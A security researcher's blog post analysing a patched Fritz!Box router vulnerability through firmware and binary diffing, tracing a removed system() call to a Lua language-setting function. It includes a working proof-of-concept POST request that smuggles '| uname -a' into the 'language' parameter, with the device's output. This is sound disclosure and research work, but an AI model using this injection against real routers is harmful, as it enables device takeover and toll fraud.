Breaking

How to Own a Router – Fritz!Box AVM Vulnerability Analysis

The below post was originally written on February 9th as a little educational exercise & follow-up to my BinDiff post. (This research was actually triggered by a relative asking about that strange Fritz!Box vulnerability he heard about on the radio). Once we realized the full potential of the bug we decided against publishing the post and contacted several parties instead. Amongst others this contributed to the German BSI press release. Given the cat is out of the bag now anyway, we see no reason to hold it back. We will further take this as an opportunity to lay out our basic vulnerability disclosure principles in a future post. This topic will also be discussed in the panel “Ethics of Security Work & Research” at Troopers

Fritz!Box

Fritz!Box is series of DSL and WLAN routers produced by AVM. They are extremely popular in Germany and are the uncontested market leader for private DSL customers. Recently, a significant number of Fritz!Box owners became victim of an attack that resulted in calls to expensive international numbers. The newspaper “Der Westen” reported about a case where phone calls valued over 4200€ were initiated from a compromised Fritz!Box.  Few days later AVM published a security update for a large number of Fritz!Box models and urged customers to apply the patch as soon as possible.

However, no further details about the vulnerability were published. This blog post describes our analysis of the vulnerability that we performed directly after the first updates were released.

This post can be considered a follow-up to my last year post about binary diffing. If you are interested in a more formal introduction to the technique of patch analysis, you read that post first. While the later parts of this analysis require at least cursory knowledge of MIPS assembly, we hope to show that modern Linux based embedded devices are no black boxes and can be analyzed relatively easily with a standard tool chain.

In order to assess the impact of the aforementioned vulnerability we use patch diffing. Of course in this case we do not work with a normal executable, but instead with a whole firmware image. So the first step in our analysis is extracting an unpatched and a patched version of the Fritz!Box firmware.

Firmware Analysis

To do this we first have to get our hands on a vulnerable and a patched version of the Fritz!Box firmware. We decided to take a look at the firmware of the popular 7360 model and downloaded the latest version 124.06.03 (with security patch) from the official AVM FTP server.  This was compared to an older version:

-rwx------   1 felix felix  16936960 Feb  8 22:34 FRITZ.Box_Fon_WLAN_7360.124.06.01.image*
-rwx------   1 felix felix  16936960 Feb  8 21:31 FRITZ.Box_Fon_WLAN_7360.124.06.03.image*

Both files have the same size, which is promising because it indicates that only small changes were performed.

When analyzing an unknown firmware image we would normally have to use a tool like binwalk to automatically identify and extract known file types and try to reverse the image format. Thanks to the popularity of Fritz!Box many people already performed this work. Freetz is a toolkit for the extension and modification of Fritz!Box images. It includes tools which allow the extraction of the included squashfs into a standard directory structure

felix@spoon ~/freetz-1.2 % ./fwmod -u -d new ~/FRITZ.Box_Fon_WLAN_7360.124.06.03.image
STEP 1: UNPACK
unpacking firmware image
splitting kernel image
unpacking filesystem image
Reading a different endian SQUASHFS filesystem on ....
unpacking var.tar
done.

When looking at the file system we can quickly identify the familiar folder structure of a Linux system. Looking at the architecture of the included binary files shows that the Fritz!Box is based on MIPS – this makes the later parts of the analysis a bit harder, but also more interesting ;).

A first superficial analysis with standard Linux utilities shows a very large number of changed binaries, but almost no differences in config files or included scripts expect for the ones including a version number. The high number of changed binaries is an expected result, compiling the same source file with a different (or even the same) compiler version often produces a semantically equivalent but syntactically different output file. We know that the vulnerability can be triggered over the web interface so we start looking at executables that are involved in handling web requests. An obvious starting point is the “/usr/www/cgi-bin/” directory. We can see that most of the files in this directory still have the same size, but the “lucagi” binary is now larger than before:

-rwxrwxrwx 1 felix felix 50368 Dez 10 16:03 luacgi
-rwxrwxrwx 1 felix felix 50648 Feb 7 21:41 luacgi

In order to understand the purpose of this binary some background on the Fritz!Box software stack is needed. Even though the base system is built on Linux, the webserver and interface have apparently been developed by AVM from scratch. In recent versions of Fritz!OS (the operating system running on Fritz!Box devices) the complete web interface is implemented using Lua a scripting language optimized for easy embedding. When a user accesses a Lua page via the web interface, the request is routed through the luacgi binary which provides a number of natively embedded library functions and evaluates the Lua script. Of course this makes luacgi a really interesting target for attackers.

Analyzing “luacgi”

To identify differences in the two versions of the binary, we load both versions into IDA Pro and compare them with the amazing BinDiff plugin:

4 newly added IPC functions
Added functions in new luacgi version

BinDiff shows 4 newly added functions that seem to be responsible for some kind of IPC mechanism. When looking at the matched functions, we can see that most of them are completely identical and only a single function contains bigger modifications:

Matched functions

Comparing the flow graph of the function shows multiple added basic blocks (colored in red) as well as several modified blocks (yellow):

Flowgraph of changed function

The newly added checks at the top seem to validate the arguments passed into the function. Even without a deep understanding of Lua internals or MIPS assembly we can see that an error message complaining about an invalid language is raised when the checks fail:

invalidLang

The end of the function is even more interesting. The newly added basic blocks use the aforementioned IPC functions, but the unpatched version instead uses “system” the standard library function for executing OS commands:

detaildiff
Removed system() call

Using “system” safely with user input is quite hard, and the added checks at the beginning of the function strongly suggest that the unpatched version does not include sufficient validation for the past parameters. There is still one question remaining: What’s the purpose of the function and how can we reach it via the web interface?

Analyzing the cross references of the function in IDA shows that it is only referenced in a single place, the do_display_page function shown below:

do_display_page
do_display_page function

Without analyzing the LuaScript_MakeFunction function in detail, we can be pretty sure that it is responsible for registering native functions to the Lua interpreter. The string “set_temporary_language” as well as the added error messages in our target function seem to indicate that the analyzed function can be called from Luascript code with the name “set_temporary_language” and is responsible for some kind of language change.  A quick grep for the function name inside the Fritz!Box web directory gives us a hit in the file “assis/basic_first.lua”:

local currlang = box.post.language or ""
if currlang ~= "" then
box.set_temporary_language(currlang)

This indicates that we can reach the vulnerable code path by requesting the URL /assis/basic_first.lua and passing a command injection string as a POST parameter named “language”.

By analyzing the rest of the script and the locations it’s used in we can identify the rest of the parameters needed for a valid request. The real purpose of the script seems to be to switch between different languages for Fritz!Box devices with multi language support. Because our test device only includes German language support the script is dead code, but still included.

Command Injection Proof of Concept

The paragraph below shows a POST request that executes “uname -a” on a vulnerable Fritz!Box system, as well as the (mangled) server response with the output of our command. Please note that this POC still requires a valid SessionID that you can only get with a successful login.

POST /assis/basic_first.lua HTTP/1.1
Host: fritz.box
Content-Length: 125
Content-Type: application/x-www-form-urlencoded 
sid=8a280a947be54bb2&prevdlg=dlg_country&needed=language%2Ccountry%2Cannex&language=de| uname -a&country=049&annex=B&forward=

HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=60, max=300
Linux fritz.fonwlan.box 2.6.32.60 #1 SMP Wed Dec 4 12: 07:49 CET 2013 mips GNU/Linux
HTTP/1.0 303 See Other
Content-Length: 0

While the described exploitation path is sufficient to understand and trigger the command injection vulnerability, it does not seem to be the way the attack was exploited in the wild. Because basic_first.lua still requires authentication an attacker can only exploit this bug if she has valid Fritz!Box credentials which makes the bug relatively uncritical.

However, there is a second quite similar bug, which does not require authentication and can be triggered even more easily.

No Authentication required!

Due to the high impact of this exploitation path, we decided against releasing a full POC for the unprivileged command injection vulnerability. However, the underlying bug is almost identical besides affecting a different executable.

Impact and Conclusion

The described bugs can be triggered by anybody with (unauthenticated) access to the Fritz!Box web interface.  The reported attacks in the wild seem to be restricted to systems which open their 443 port on the external interface. However, the more critical unauthenticated vulnerability can also be triggered in a drive-by-attack by provoking the victim’s browser to access a payload URL as described above.

Customers with affected devices should install the official patch as soon as possible, even if they do not use any of the remote administration services.

The reported in the wild attacks demonstrate that embedded devices are becoming an interesting target for criminal attackers. Because DSL routers with phone functions have direct access to billing relevant functionality, they offer an interesting target for financially motivated attackers.

– Felix

Comments

  1. Great analysis, good work, and very good handling of the entire case, you made a big impact !

  2. Hopefully in the future embedded hardware manufacturers and developers will pay more attention to vulnerabilities like this, especially since the internet of things is uppon us, the problem of outdated harwdare with similar vulnerabilites scares me… plus the fact that not a single vendor makes mandatory automated security paths for devices such as these to be updated by default, most users don’t access their router, let alone perform updates themselves.

  3. Fritzbox are full of security issues:
    # provide no DNSCrypt
    # provide no crypted Time
    # FTP by defoult not crypted
    # uncryptes HTTP connections are not answered by https
    # maximum password lenght for Webinterface only 32 caracter, not 63 caracter, no enhanced caracter accepted
    # no own or external DC providet
    # filter for websites, dont understand Regular expression
    and so on, and so on

Comments are closed.